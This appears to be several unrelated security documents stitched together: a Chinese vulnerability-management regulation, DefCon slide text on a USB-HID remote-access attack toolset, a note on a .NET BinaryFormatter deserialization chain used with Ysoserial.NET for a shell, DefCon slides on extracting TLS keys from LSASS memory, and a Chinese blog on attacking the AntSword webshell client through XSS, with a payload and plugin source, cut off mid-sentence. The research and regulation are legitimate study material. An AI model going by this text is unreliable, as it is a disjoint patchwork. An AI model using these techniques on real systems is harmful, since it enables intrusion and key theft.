网络产品安全漏洞管理规定 第一条 为了规范网络产品安全漏洞发现、报告、修补和发布等行为,防范网络安全风险,根据《中华人 民共和国网络安全法》,制定本规定。 第二条 中华人民共和国境内的网络产品(含硬件、软件)提供者和网络运营者,以及从事网络产品安全 漏洞发现、收集、发布等活动的组织或者个人,应当遵守本规定。 第三条 国家互联网信息办公室负责统筹协调网络产品安全漏洞管理工作。工业和信息化部负责网络产品 安全漏洞综合管理,承担电信和互联网行业网络产品安全漏洞监督管理。公安部负责网络产品安全漏洞 监督管理,依法打击利用网络产品安全漏洞实施的违法犯罪活动。 有关主管部门加强跨部门协同配合,实现网络产品安全漏洞信息实时共享,对重大网络产品安全漏洞风 险开展联合评估和处置。 第四条 任何组织或者个人不得利用网络产品安全漏洞从事危害网络安全的活动,不得非法收集、出售、 发布网络产品安全漏洞信息;明知他人利用网络产品安全漏洞从事危害网络安全的活动的,不得为其提 供技术支持、广告推广、支付结算等帮助。 第五条 网络产品提供者、网络运营者和网络产品安全漏洞收集平台应当建立健全网络产品安全漏洞信息 接收渠道并保持畅通,留存网络产品安全漏洞信息接收日志不少于6个月。 第六条 鼓励相关组织和个人向网络产品提供者通报其产品存在的安全漏洞。 第七条 网络产品提供者应当履行下列网络产品安全漏洞管理义务,确保其产品安全漏洞得到及时修补和 合理发布,并指导支持产品用户采取防范措施: (一)发现或者获知所提供网络产品存在安全漏洞后,应当立即采取措施并组织对安全漏洞进行验证, 评估安全漏洞的危害程度和影响范围;对属于其上游产品或者组件存在的安全漏洞,应当立即通知相关 产品提供者。 (二)应当在2日内向工业和信息化部网络安全威胁和漏洞信息共享平台报送相关漏洞信息。报送内容应 当包括存在网络产品安全漏洞的产品名称、型号、版本以及漏洞的技术特点、危害和影响范围等。 (三)应当及时组织对网络产品安全漏洞进行修补,对于需要产品用户(含下游厂商)采取软件、固件 升级等措施的,应当及时将网络产品安全漏洞风险及修补方式告知可能受影响的产品用户,并提供必要 的技术支持。 工业和信息化部网络安全威胁和漏洞信息共享平台同步向国家网络与信息安全信息通报中心、国家计算 机网络应急技术处理协调中心通报相关漏洞信息。 鼓励网络产品提供者建立所提供网络产品安全漏洞奖励机制,对发现并通报所提供网络产品安全漏洞的 组织或者个人给予奖励。 第八条 网络运营者发现或者获知其网络、信息系统及其设备存在安全漏洞后,应当立即采取措施,及时 对安全漏洞进行验证并完成修补。 第九条 从事网络产品安全漏洞发现、收集的组织或者个人通过网络平台、媒体、会议、竞赛等方式向社 会发布网络产品安全漏洞信息的,应当遵循必要、真实、客观以及有利于防范网络安全风险的原则,并 遵守以下规定: (一)不得在网络产品提供者提供网络产品安全漏洞修补措施之前发布漏洞信息;认为有必要提前发布 的,应当与相关网络产品提供者共同评估协商,并向工业和信息化部、公安部报告,由工业和信息化 部、公安部组织评估后进行发布。 (二)不得发布网络运营者在用的网络、信息系统及其设备存在安全漏洞的细节情况。 Author: L.N. / Date: 2021-08-30 Produced by AttackTeamFamily No. 1 / 2 - Welcome to www.red-team.cn (三)不得刻意夸大网络产品安全漏洞的危害和风险,不得利用网络产品安全漏洞信息实施恶意炒作或 者进行诈骗、敲诈勒索等违法犯罪活动。 (四)不得发布或者提供专门用于利用网络产品安全漏洞从事危害网络安全活动的程序和工具。 (五)在发布网络产品安全漏洞时,应当同步发布修补或者防范措施。 (六)在国家举办重大活动期间,未经公安部同意,不得擅自发布网络产品安全漏洞信息。 (七)不得将未公开的网络产品安全漏洞信息向网络产品提供者之外的境外组织或者个人提供。 (八)法律法规的其他相关规定。 第十条 任何组织或者个人设立的网络产品安全漏洞收集平台,应当向工业和信息化部备案。工业和信息 化部及时向公安部、国家互联网信息办公室通报相关漏洞收集平台,并对通过备案的漏洞收集平台予以 公布。 鼓励发现网络产品安全漏洞的组织或者个人向工业和信息化部网络安全威胁和漏洞信息共享平台、国家 网络与信息安全信息通报中心漏洞平台、国家计算机网络应急技术处理协调中心漏洞平台、中国信息安 全测评中心漏洞库报送网络产品安全漏洞信息。 第十一条 从事网络产品安全漏洞发现、收集的组织应当加强内部管理,采取措施防范网络产品安全漏洞 信息泄露和违规发布。 第十二条 网络产品提供者未按本规定采取网络产品安全漏洞补救或者报告措施的,由工业和信息化部、 公安部依据各自职责依法处理;构成《中华人民共和国网络安全法》第六十条规定情形的,依照该规定 予以处罚。 第十三条 网络运营者未按本规定采取网络产品安全漏洞修补或者防范措施的,由有关主管部门依法处 理;构成《中华人民共和国网络安全法》第五十九条规定情形的,依照该规定予以处罚。 第十四条 违反本规定收集、发布网络产品安全漏洞信息的,由工业和信息化部、公安部依据各自职责依 法处理;构成《中华人民共和国网络安全法》第六十二条规定情形的,依照该规定予以处罚。 第十五条 利用网络产品安全漏洞从事危害网络安全活动,或者为他人利用网络产品安全漏洞从事危害网 络安全的活动提供技术支持的,由公安机关依法处理;构成《中华人民共和国网络安全法》第六十三条 规定情形的,依照该规定予以处罚;构成犯罪的,依法追究刑事责任。 第十六条 本规定自2021年9月1日起施行。 http://www.gov.cn/zhengce/zhengceku/2021-07/14/content_5624965.htm Author: L.N. / Date: 2021-08-30 Produced by AttackTeamFamily No. 2 / 2 - Welcome to www.red-team.cn
pdf
Universal*Serial* aBUSe Rogan&Dawes&&&Dominic&White [email protected] Important*Note • This&is&the&text8based&version&of&the&slides,&and&not& the&version&we&plan&to&present.&We&wanted&to&give& you&something&meaningful&to&read&through. • The&toolset&will&be&released&on&our&github: • https://github.com/sensepost/USaBUSe • Details&of&the&talk,&latest&slides&and&code&will&be& written&up&at&our&blog: • https://sensepost.com/blog Background&http://sneakyninja95.deviantart.com/art/Stored8Memories8535612391 Overview In&this&talk,&we’ll&cover&some&novel&USB8level&attacks,& that&can&provide&remote&command&and&control&of,& even&air8gapped&machines,&with&a&minimal&forensic& footprint,&and&release&an&open8source&toolset&using& freely&available&hardware. The*Meta*Point • It’s&hard&to&defend&at&the&best&of&times. • Doing&so&well,&requires&a&realistic&threat&model. • Too&often,&that&threat&model&is&driven&by&vendor& marketing&rather&than&real&attacks. • For&example,&advanced&attackers&have&always&existed,& it’s&not&clear&“APT”&would&have&been&a&thing,&or&as&much& of&a&thing&without&the&significant&vendor&marketing& spend&put&behind&it. • Penetration&testers&need&to&emulate&real&threats&or& they’re&just&wasting&your&time Why*we’re*highlighting*this*issue • We’ve&seen&real&attackers&doing&it,&but&defenses& haven’t&adapted. • The&NSA’s&COTTONMOUTH&toolkit&showed&these&sorts&of& USB&attacks • Technically&unsophisticated&criminals&have&defrauded& banks&using&simple&IP&KVMs • If&your&apex&predators&and&low&level&bottom&feeders& are&using&the&same&sort&of&attacks;&physical& bypasses&of&software/network&security&via& hardware,&then&you&best&pay&attention. • Plus,&it&makes&sense,&software&is&getting&harder&to& exploit&and&changes&more&rapidly&than&hardware. But*we*know*about*these*attacks? • Do&we?&Because&the&defenses&in&this&space&seem&to&be&poor& in&our&experience&at&clients. • Hardware&keyloggers have&been&around&for&decades,&and& are&still&near&impossible&to&practically&detect&in&software. • Most&organisations seem&to&think&USB&is&about&malware&or& tethering/wifi and&rely&on&protections&elsewhere&in&the& stack: • malware&deployment&– proxy • malware&on&device&– AV/endpoint • comms from&device&– FireEye&and&friends • But&there’s&little&defense&specific&to&malicious&devices,& something&the&USB&standard&makes&very&easy&to&implement. • Finally,&there&wasn’t&an&end8to8end&implementation&of&this& attack&when&we&started.& Prior*Work • This&work&stands&on&the&shoulders&of&giants.&While& numerous&researchers&have&produced&USB&related& work,&prior&work&specific&to&this&project&includes: • Travis&Goodspeed’s&Facedancer2& http://goodfet.sourceforge.net/hardware/facedancer21/ • Michael&Ossman &&Dominic&Spill’s&NSA&Playset,& TURNIPSCHOOL&http://www.nsaplayset.org/turnipschool • Samy Kamkar’s USBDriveBy http://samy.pl/usbdriveby/ • USB&Rubber&Ducky&Wiki&http://usbrubberducky.com/ • Adrian&Crenshaw&Plug&&&Pray;&Malicious&USB&Devices& http://www.irongeek.com/i.php?page=security/plug8and8 prey8malicious8usb8devices &&his&PHUKD& http://www.irongeek.com/i.php?page=security/programmabl e8hid8usb8keystroke8dongle • Seunghun Han’s&Iron8HID&https://github.com/kkamagui/IRON8 HID (released&after&our&Defcon CFP&submission) Objectives*of*our*Work • Build&and&end8to8end&attack&that’s&usable&in&a&pentest • Allow&it&to&be&remotely&triggered&and&updated • Work&without&requiring&victim&interaction • Exclude&typical&USB&malware&vectors&(for&which&typical& defenses&exist)&e.g.&malware&via&mass&storage • Don’t&sent&any&traffic&via&the&victim’s&network • Avoids&environmental&complexities&(firewalls,&etc) • Avoids&detection&(IDS) • Create&a&stealthy&bi8direction&pipe&over&innocuous&USB& devices&(something&forensic&tools&are&unlikely&to&spot) • Minimise forensic&artefacts&(e.g.&execute&in&memory& where&possible) So*what’s*different/new? • Simpler&networking;&TCP/IP&interface&over&WiFi • TURNIPSCHOOL&uses&custom&RF&protocol • IRON8HID&uses&Bluetooth • More&complete&implementation • TURNIPSCHOOL&never&completed&firmware&for&cc1111&against&host • Numerous&small&improvements&over&IRON8HID& • Enables&reuse&of&existing&tools • Implements&a&VNC&clients&for&keyboard&and&mouse&input • Compatible&with&metasploit generated&payloads • More&stealthy • No&use&of&mass&storage&devices&to&load&malware • No&use&of&host’s&network&i.e.&works&on&airgapped hosts&too • An&end8to8end&attack • From&plug&in&to&remote&network&&&command&access • Open&Hardware • While&it&works&on&available&hardware,&we’re&releasing&our&open&hardware&design • Minimal&custom&bootstrap Initial*Hardware • April&Brother&Cactus&Micro&Rev2 • Atmega32u4&on&one&side&8 host • ESP8266&WiFi on&the&other&– our&exfil • Compact&enough&to&be&a&flash&drive • Advantages • Cheap&&&available • AVR&&&ESP&gives&us&host&side&and&wifi side • Disadvantages • No&I2C • No&USB&A • Can’t&program&ESP&directly • Minimal&storage • Can’t&reset&when&in&a&case • LED&not&controllable&from&Atmega • Not&open&hardware New*Hardware • Very&similar&to&the&Cactus&Micro,&but&with: • USB&A&male&connector! • Micro&SD&Card&slot&for&storage • I2C&connected&with&pull&up&resistor • Programmable&LED • Hall8effect&switch&to&trigger&reset&when&in&case Firmware • Lightweight&USB&Framework&for&AVR&(LUFA) • Running&on&the&atmega32u4 • Implements&the&various&USB&interfaces&seen&by&the& victim • ESP8Link&(UART&to&TCP&firmware) • Running&on&the&ESP8266 • Provides&Wifi to&device,&connects&to&attacker’s&AP • Added&a&VNC&implementation&to&receive&key&&&mouse& events&to&pass&to&the&host • Added&a&multiplexing&protocol&over&the&UART&to&allow& communication&between&various&functions USB*Implementation • Traditional&Keyboard&and&Mouse • Emits&events&received&via&VNC • Can&programmably emit&events&ala&RubberDucky • Used&to&stage&initial&payload&on&host • Used&to&prevent&screensaver&engaging • Generic&HID • Allows&bidirectional&packet&transfers • 64&byte&packets& • 1000&per&second&(in&theory) Alternate*USB*Implementations • For&stealthier,&more&innocuous&bi8directional& comms • Text8only&printer • “Prompt8less”&driver&installation&in&Windows • Sound&card • Gives&us&audio&out&and&mic&in • Problems:&Might&interfere&with&primary&audio&device • Depends&on&default&permissions Targets • Targeting&Windows&PCs&at&the&moment,&plans&to& expand&to&OSX&then&Linux&hosts • Keyboard/Mouse&is&generic • Payload&is&platform&dependent • Powershell • Available&on&most&Windows&workstations • C#&API&available • P/Invoke&CreateFile,&ShowWindowAsync • Staged&approach • Can&avoid&touching&disk&for&the&most&part • Excludes&P/Invoke8d&function&definitions&above! Payload*Stages • Stage&1&(PowerShell&typed&via&the&keyboard) • Optimised for&size • Open&device • Read&Stage&2 • Clear8History • Hide! • Stage&2&(PowerShell&read&from&device) • Arbitrary&complexity Stage*2*payload*examples • CMD.exe • TCP&Listener/Relay/Proxy • Enables&existing&network8based&exploits • Localhost8only&avoids&firewalls/alerts • Metasploit • Currently&being&redirected&through&the&proxy • Can&use&arbitrary&msf payloads;&meterpreter,&cmd,&vnc etc. • Purpose8built&payloads • Knows&how&to&access&the&USB&device&directly • Future&development&for&meterpreter Difficulties*experienced • Programming&errors&on&the&ESP8266&result&in& reboots,&any&debug&logs&disappear! • Flow&control • TCP&is&much%faster&than&the&UART,&and&ESP8266&triggers& watchdog&to&reboot&if&you&take&too&long&to&process&the& data.&We&had&to&rewrite&the&ESP8Link&TCP&handlers&to& support&“resume8able”&processing&of&data • UART&is&faster&than&the&Keyboard • HID&interrupt&transfers&occur&regardless&of&a&read() • Disappearing&UART&interrupts • Data&received&by&the&ESP8266&would&get&stuck&in&the& UART&FIFO Demonstrations • We’ll&provide&a&demo&of&the&toolset&in&the&talk. • The&software&will&be&released&at&Defcon at: • https://github.com/sensepost/USaBUSe Contacts • Rogan&Dawes • [email protected] • @rogandawes • Dominic&White • [email protected] • @singe
pdf
0x01 PEID dll ​ dll getshell 0x02 C# https://xz.aliyun.com/t/9168 https://xz.aliyun.com/t/9591 https://xz.aliyun.com/t/9593 https://xz.aliyun.com/t/9592 https://xz.aliyun.com/t/9594 https://xz.aliyun.com/t/9595 https://xz.aliyun.com/t/9597 https://xz.aliyun.com/t/9598 https://xz.aliyun.com/t/9599 https://xz.aliyun.com/t/9600 https://xz.aliyun.com/t/9601 https://xz.aliyun.com/t/9602 https://xz.aliyun.com/t/9603 https://xz.aliyun.com/t/9604 https://xz.aliyun.com/t/9605 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 https://xz.aliyun.com/u/12258 1 ​ OnLoginEvent ​ UserInfo SendLoginMsg ​ UserInfo MsgSysInfo zip GetBuffer Login json ​ zip dh Init ​ ​ ​ YYSharpZip GetBuffer GetZipBuffer BinaryFormatter EncryptData ​ this.btnLogin_Click --> this.OnLoginEvent() --> this.SendLoginMsg() --> this.zip.GetBuffer() --> this.ZipData() --> this.GetZipBu ffer() --> new BinaryFormatter().Serialize() --> this.CompressToByte() --> new YYEncrypt().EncryptData() --> this.dh.Login() 1 XXX.MsgReceive --> new YYEncrypt().DecryptData-->this.DeCompressToBytes --> new BinaryFormatter().Deserialize() --> this.msgSysIn fo.getLoginInfo() --> XXX 1 Ysoserial.NET --> Gadget serialize data --> this.zip.GetBuffer --> this.ZipData --> this.GetZipBuffer --> new BinaryFormatter().S erialize() --> this.CompressToByte --> new YYEncrypt().EncryptData --> Send To Tartget Server --> XXX.MsgReceive --> new YYEncryp t().DecryptData-->this.DeCompressToBytes --> new BinaryFormatter().Deserialize() --> Attack success 1 0x03 Gadget Gadget Gadget Ysoserial.NET iis aspx shell 0x04 shell payload payload
pdf
Cunning with CNG: Soliciting Secrets from Schannel DefCon 24 Why you might care ❏ Extracting TLS / SSL Keys (of various types) from memory ❏ Ability to decrypt TLS connections that use ephemeral key exchanges ❏ For anything that uses Schannel: RDP, IE, Powershell, etc...pretty much anything .NET too ❏ Past connections AND Future since the point of the cache is resumption ❏ Undocumented / partially documented structures elucidated ❏ TLS session caches mapped to the requesting processes, with SNIs ❏ A tool that does these things via Volatility/Rekall ❏ A paper that documents these things i.e. what you get today How we get there 1. Briefest of TLS Refreshers 2. How Schannel Works 3. The Secrets : } 4. The Other Forensic Artifacts! 5. A live demo >.> < the Agenda A Disclaimer ❏ This is NOT an exploit ❏ It’s the spec! :D ❏ Microsoft has done nothing wrong ❏ To the contrary, their documentation was actually pretty great ❏ Windows doesn’t track sessions for processes that load their own TLS libs ❏ I’m looking at you Firefox and Chrome ❏ Windows doesn’t track sessions for process that don’t use TLS… ❏ That’d be you teamviewer... ❏ This talk has nothing to do with Chanel ❏ Sorry Aine. The now infamous TLS Handshake The now infamous TLS Handshake or, Session Resumption DR; Perfect Forward Secrecy What we want to do ❏ One time use keys, no sending secrets! What TLS actually does ❏ Caches values to enable session resumption ❏ recommends `An upper limit of 24 hours is suggested for session ID lifetimes` ❏ When using the session ticket extension, sending the encrypted state over the network ❏ basically returning to the issue with RSA, but using a more ephemeral key... What implementations also do ❏ Store symmetric key schedules (so you can find the otherwise random keys...) ❏ Cache ephemeral keys and reuse for a while... < and what it means to TLS See these papers: https://technet.microsoft.com/en-us/library/dn786429.aspx What’s an Schannel? ❏ It’s TLS -> the Secure Channel for Windows! ❏ A library that gets loaded into the “key isolation process” and the “client” process ❏ Technically a Security Support Provider (SSP) ❏ Spoiler: the key iso proc is LSASS ❏ Microsoft’s CryptoAPI-Next Generation ❏ Introduced in Windows Vista ❏ Provides Common Criteria compliance ❏ Used to store secrets, also crypt them ❏ The KSP & DPAPI for instance ❏ Important / reused keys are “isolated” from the less privileged/trusted “client” processes into the “key isolation process” ❏ Ncrypt is the “key storage router” and gateway to CNG Key Iso service What the CNG?! Schannel Cipher Suite Preferences ListCipherSuites sample code found here: https://technet.microsoft.com/en-us/library/bb870930.aspx Windows 7 Windows 10 Windows Vista Schannel by the docs Diagram based on: https://technet.microsoft.com/en-us/library/dn786429.aspx CNG Key Isolation by the docs Diagram based on: https://msdn.microsoft.com/en-us/library/windows/desktop/bb204778.aspx Matching Session Keys Basic Premis: AES Keys are small and random AES Key Schedules are larger and deterministic by design…they’re a schedule. Most implementations calculate schedule once and store it* While a connection is active, both side NEED access to the symmetric keys used for encryption/verification *Based on this paper: http://citp.princeton.edu/pub/coldboot.pdf Matching Session Keys So I scanned LSASS for cross-matched AES key schedules on both hosts… And got nothing. Well, no matches anyway. RTFM ALL V A friendly neighborhood P.S.A. This announcement brought to you by an hour of wasted time Matching Session Keys RDP MSTSC AES Keys [Client] RDP SVCHost AES Keys [Server] FindAES from: http://jessekornblum.com/tools/ The Session Key Structure ❏ Notice the value “3lss” ❏ “3lss” -> “ssl3” ❏ Initially noticed while checking LSASS structs ❏ Structure is different in LSASS vs client process ❏ AES Key & Schedule highlighted ❏ Key and schedule appear multiple times in the same structure The Session Key Structure _SSL_SESSION_KEY 4 cbStructLength 4 dwMagic [“ssl3”] 4 dwProtocolVersion 4/8 pvCipherSuiteListEntry 4 IsWriteKey 4/8 pvBcryptKeyStruct _BCRYPT_KEY 4 cbStructLength 4 dwMagic [“UUUR”] 4/8 pvBcryptProvider 4/8 pvBcryptSymmKey _MS_SYMMETRIC_KEY 4 cbStructLength 4 dwMagic [“MSSK”] 4 dwKeyType ... ... 4 KeyLength ? SymmetricKey ? SymmKeySchedule The Ncrypt SSL Provider [ ncryptsslp.dll ] Ncryptsslp Validation function Symbols Master Key Validation Function Disassembly These functions do three things: ❏ Check the first dword for a size value ❏ Check the second dword for a magic ID ❏ Return the passed handle* if all is good *All handles in this case are explicitly pointers SSL Magic Size (x86) Size (x64) Validation Functions ssl1 0xE4 0x130 SslpValidateProvHandle ssl2 0x24 0x30 SslpValidateHashHandle ssl3 ? ? <none> ssl4 0x18 0x20 SslpValidateKeyPairHandle ssl5 0x48 0x50 SslpValidateMasterKeyHandle ssl6 0x18 0x20 SslpValidateEphemeralHandle ssl7 ? ? <none> Ncryptsslp “ssl3” symbols* Ncryptsslp “ssl7” symbols* *command output significantly reduced for brevity & clarity 0:000> .foreach(magic {s -[1]a 00007fff`df750000 00007fff`df76f000 3lss}){ln magic} ncryptsslp!TlsGenerateSessionKeys+0x251 ncryptsslp!SPSslDecryptPacket+0x43 ncryptsslp!SPSslEncryptPacket+0x43 ncryptsslp!SPSslImportKey+0x19a ncryptsslp!SPSslExportKey+0x76 ncryptsslp!SPSslFreeObject+0x1b ncryptsslp!Ssl2GenerateSessionKeys+0x22c ncryptsslp!Ssl2GenerateSessionKeys+0x294 0:000> lmm schannel start end module name 00007fff`ed1e0000 00007fff`ed254000 schannel 0:000> .foreach(magic {s -[1]a 00007fff`df750000 00007fff`df76f000 7lss}){ln magic} ncryptsslp!SPSslGenerateMasterKey+0x75 ncryptsslp!SPSslGenerateMasterKey+0x5595 ncryptsslp!SPSslGeneratePreMasterKey+0x15e ncryptsslp!TlsDecryptMasterKey+0x 6b >_ Command - Dump C:\Defcon\Exa... - [] X ssl3 = session key struct ssl7 = pre-master secret struct? >_ Command - Dump C:\Defcon\Exa... - [] X The Master Secret _SSL_MASTER_SECRET 4 cbStructLength 4 dwMagic [“ssl5”] 4 dwProtocolVersion 0/4 dwUnknown1* [alignment?] 4/8 pvCipherSuiteListEntry 4 bIsClientCache 48 rgbMasterSecret 4 dwUnknown2 [reserved?] *Not present in x86 - either padding or part of previous member The Master Secret *Not present in x86 - either padding or part of previous member _SSL_MASTER_SECRET 4 cbStructLength 4 dwMagic [“ssl5”] 4 dwProtocolVersion 0/4 dwUnknown1* [alignment?] 4/8 pvCipherSuiteListEntry 4 bIsClientCache 48 rgbMasterSecret 4 dwUnknown2 [reserved?] Master Secret Mapped to Unique Identifier ❏ The Master Key is linked back to a unique ID through an “NcryptSslKey” ❏ The NcryptSslKey is referenced by an “SessionCacheItem” ❏ The SessionCacheItem contains either the SessionID, or a pointer and length value for a SessionTicket At this point, we can identify and decrypt sessions robustly. Schannel $ '_SSL_SESSION_CACHE_CLIENT_ITEM': [ 0x140, { 'Vftable': [0x0, ['pointer64', ['void']]], 'NcryptKey': [0x10, ['pointer64', ['void']]], 'PublicCertificate': [0x18, ['pointer64', ['void']]], 'PublicKey': [0x28, ['pointer64', ['void']]], 'NcryptSslProv': [0x60, ['pointer64', ['void']]], 'SessionIdLen': [0x86, ['short short']], 'SessionId': [0x88, ['array', 0x20, ['unsigned char']]], 'ProcessId': [0xa8, ['unsigned long']], 'MaxLifeTime': [0xB0, ['unsigned long']], 'CertSerializedCertificateChain': [0xB0, ['pointer64', ['void']]], 'UnkList1Flink': [0xB8, ['pointer64', ['void']]], 'UnkList1Blink': [0xC0, ['pointer64', ['void']]], 'UnkCacheList2Flink': [0xC8, ['pointer64', ['void']]], 'UnkCacheList2Blink': [0xD0, ['pointer64', ['void']]], 'ServerName': [0xF8, ['pointer64', ['void']]], 'CSessCacheManager': [0x110, ['pointer64', ['void']]], 'SessionTicket': [0x128, ['pointer64', ['void']]], 'SessionTicketLen': [0x130, ['int']], }], Under the covers x64 Volatility VType V Schannel $ '_SSL_SESSION_CACHE_SERVER_ITEM': [ 0x110, { 'Vftable': [0x0, ['pointer64', ['void']]], 'NcryptKey': [0x10, ['pointer64', ['void']]], 'NcryptSslProv': [0x60, ['pointer64', ['void']]], 'SessionId': [0x88, ['array', 0x20, ['unsigned char']]], 'ProcessId': [0xa8, ['unsigned long']], 'MaxLifeTime': [0xB0, ['unsigned long']], 'LastError?': [0xE8, ['unsigned long']], 'CSslCredential': [0xF0, ['pointer64', ['void']]], }], Under the covers x64 Volatility VType V Schannel $ Under the covers The Key Pairs ❏ The Server & Ephemeral Key Pairs use an identical structure ❏ The Key Type is compared with different values ❏ ssl6 gets compared with a list stored in bcryptprimitives ❏ ssl4 gets compared with a list stored in NCRYPTPROV ❏ The Key Storage Provider Key (KPSK) is referenced indirectly through an “Ncrypt Key” struct* _SSL_KEY_PAIR 4 cbStructLength 4 dwMagic [“ssl4” | “ssl6” ] 4 dwKeyType 4 dwUnknown1 [alignment?] 4/8 pvKspProvider 4/8 pvKspKey *Not to be confused with an NcryptSslKey struct _NCRYPT_KEY 4 cbStructLength 4 dwMagic [ 0x44440002 ] 4 dwKeyType 4 dwUnknown1 [alignment?] 4/8 pvKspProvider 4/8 pvKspKey _KSP_KEY 4 cbStructLength 4 dwMagic [ “KSPK” ] 4 dwKeyType ... ... 4/8 pvDpapiBlob 4/8 pvMSKY The Ephemeral Key Data ❏ Public Key is referenced by schannel! CEphemKeyData ❏ Private Key is not stored in natively usable format, but is accessible ❏ The KPSK structure pointed to references another structure with the magic “MSKY” that appears to be the EccKey structure ❏ The KPSK structure has details about the curve selection / other valuable info The Server (RSA) Private Key ❏ KSPK structure pointed to by the server key mostly resembles the file from disk ❏ The public information is parsed into fields ❏ The DPAPI protected private key blob is loaded into memory The Server (RSA) Private Key Windows Vista '_SSL_SESSION_CACHE_CLIENT_ITEM': [ 0xf0, { 'Flink': [0x0, ['pointer', ['void']]], 'Blink': [0x4, ['pointer', ['void']]], 'ProcessId': [0x8, [['unsigned long']], 'MasterKey': [0x14, ['pointer', ['NcryptSslKey']]], 'CipherSuiteId': [0x1C, ['pointer', ['void']]], 'ECCurveParam': [0x20, ['pointer', ['void']]], 'NcryptSslProv': [0x28, ['pointer', ['void']]], 'PublicCertificate': [0x2C, ['pointer', ['void']]], 'PublicCert2': [0x34, ['pointer', ['void']]], 'PublicKeyStruct': [0x3C, ['pointer', ['void']]], 'PublicCertStruct3': [0x44, ['pointer', ['void']]], 'ServerName': [0x80, ['pointer', ['void']]], 'SessionIdSize': [0x94, ['short short']], 'SessionId': [0x98, ['array', 0x20, ['unsigned char']]], 'ErrorCode': [0xEC, ['pointer64', ['void']]], }], ❏ CNG was introduced in Vista ❏ The Vista cache is different ❏ It’s kinda proto-CNG ❏ Prior to Ncryptsslp (Sslp functions are in Ncrypt) ❏ Instead of Classes, the cache is just a doubly-linked list ❏ No RFC5088 support (no tickets) x86 Volatility VType V Windows Vista The Forensic Context ❏ Active Connection = Security Context ❏ ProcessID for client process stored ❏ Server Name Indicator (SNI) stored in the cache as well ❏ Cache Lifetime of 10 hours ❏ Session IDs are arbitrary, but not always random ❏ Schannel is the perfect example, can be fingerprinted ❏ If the system is a client, why would it have a server cache? ❏ RDP for one, almost guaranteed to live 10 hours (unless there are 20,000 connections afterward) Global Schannel Variables of Significance: schannel!CSslGlobals::m_dwMaximumEntries schannel!CSslGlobals::m_dwClientLifespan schannel!CSslGlobals::m_dwServerLifespan schannel!CSslGlobals::m_dwSessionTicketLifespan Extracting the Secrets ❏ Volatility & Rekall plugins ❏ By default (no args): ❏ will automatically find lsass ❏ will scan the heap ❏ Can be configured to scan Writeable VADs, or full VAS ❏ dumps to stdout in wireshark format ❏ Can dump verbose object as json ❏ Hoping to have functionality integrated into PowerShell module soon ❏ Got busy : < Decrypting an RDP Session (Ephemeral XCHG) Keycodes from: https://msdn.microsoft.com/en-us/library/aa299374.aspx H e l l o <space> D e f c 0 n “ ” Decrypting an RDP Session (Ephemeral XCHG) DOMO TIME E Fin @TinRabbit_ Questions? Special Thanks ❏ Áine Doyle - Badass Extraordinaire (OCSC) ❏ Dr. John-Ross Wallrabenstein - Sypris Electronics ❏ Dr. Marcus Rogers - Purdue Cyber Forensics Laboratory ❏ Michael Hale Ligh (MHL) - Volexity ❏ Tatiana Ringenberg - Sypris Electronics For general support, helpful comments, their time, and encouragement.
pdf
0x01 前言 中午在学校午休,就看了 @忍酱 的反制Goby, @暗羽师傅 的反制Burpsuite还有 @先知社区 里的反制蚁 剑, @f4ltJ4y 的蚁剑复现,挑起了我想反制的心! 蚁剑版本: 2.1.12 0x02 虚假XSS 蚁剑是自带浏览器的,用的是Chrome!本想着暗羽师傅的那篇可以用得到,发现版本不对 发现它调用了dhtmlx框架,可以解析HTML 正是因为这个虚假的XSS,更加激发了我想RCE的心! 我们可以参考: https://xz.aliyun.com/t/8167 <img src=1 onerror=alert(1)> 0x03 放弃RCE 我在想既然有内置浏览器,那么 Chromium浏览器 版本是否存在漏洞呢? 我们先得获取Chromuim版本 如上图,谷歌浏览器的产品代号为"Mozilla" 上图已知, Chrome/69.0.3497.106 Electron/4.0.3 我们查找相对应的远程代码执行的漏洞! # Console navigator.appCodeName navigator.appVersion "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) antsword/2.1.12 Chrome/69.0.3497.106 Electron/4.0.3 Safari/537.36" 已关闭沙箱 通过万能的百度我找到一个 Google Chrome < = 87.0.4280.88 远程代码执行 尝试后,我实在是想不明白这个DevTools怎么搞,我想尝试别的版本,高版本低版本我都试过了,都是 同一个问题!希望有师傅能够解惑,我太菜了。 0x04 Self-RCE 峰回路转,本来我是打算放弃的,就随便点点插件里的内容。我是原先有下载一个Redis管理的插件的 # 参考文档: https://www.cnblogs.com/ethtool/p/14652420.html https://github.com/r4j0x00/exploits/blob/master/CVE-2020-16040/exploit.js 直接通过HTML的方式解析 https://github.com/AntSword- Store/AS_Redis/blob/fac78f9605c4cee4d863b1c68a368916dc854051/libs/core.js 阅读了这个插件的源代码,发现并没有过滤以及加以限制,而且 dhtmlx 解析,这应该是蚁剑开发的标 准要求 <img src=1 onerror=alert(1)> 'use strict' class Core { constructor(ShellCore, opt = {}) {   this.ShellCore = ShellCore;   this.host = opt['host'] || "127.0.0.1:6379"; } setHost(host) {   this.host = host; } // 将 buffer 转为 base64 string encode(buffer) {   return Buffer.from(buffer).toString('base64'); } decode(str) {   if (str.indexOf('ERROR://') > -1) {     throw new Error(str);   }   let b64buff = Buffer.from(str, 'base64');   if (b64buff.toString().indexOf('ERROR://') > -1) {     throw new Error(b64buff.toString());   }   return b64buff; } get template() {   let that = this   return {   'php': (cmdbuf) => {     return {       _: `$cmd=base64_decode("${that.encode(cmdbuf)}"); $conn=@stream_socket_client("tcp://${that.host}", $errno, $errstr, $timeout=30); if(!$conn){ echo "LUVSUiBDb25uZWN0aW9uIFJlZnVzZWQ="; }else{ @fwrite($conn,$cmd,strlen($cmd)); $resp=@fread($conn, 8196); @stream_set_blocking($conn,0); while($buf=@fread($conn,8196)){$resp.=$buf;} stream_set_blocking($conn, 1); echo base64_encode($resp); @stream_socket_shutdown($conn,STREAM_SHUT_RDWR); @fclose($conn); }`       }     },     'asp': (cmdbuf) => {       return {         _: ``       }     },     'aspx': (cmdbuf) => {       return {         _: `try{ var ipAddress = "${that.host.split(':')[0]}"; var portNum = ${that.host.split(':')[1]}; var sendbytes = System.Convert.FromBase64String("${that.encode(cmdbuf)}"); var remoteEndPoint = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(ipAddress), portNum); var client = new System.Net.Sockets.Socket(   System.Net.Sockets.AddressFamily.InterNetwork,   System.Net.Sockets.SocketType.Stream, 构造 Self-RCE 结合蚁剑的以下特点: 解析HTML时,不能使用单引号或双引号,否则会出现语法混乱 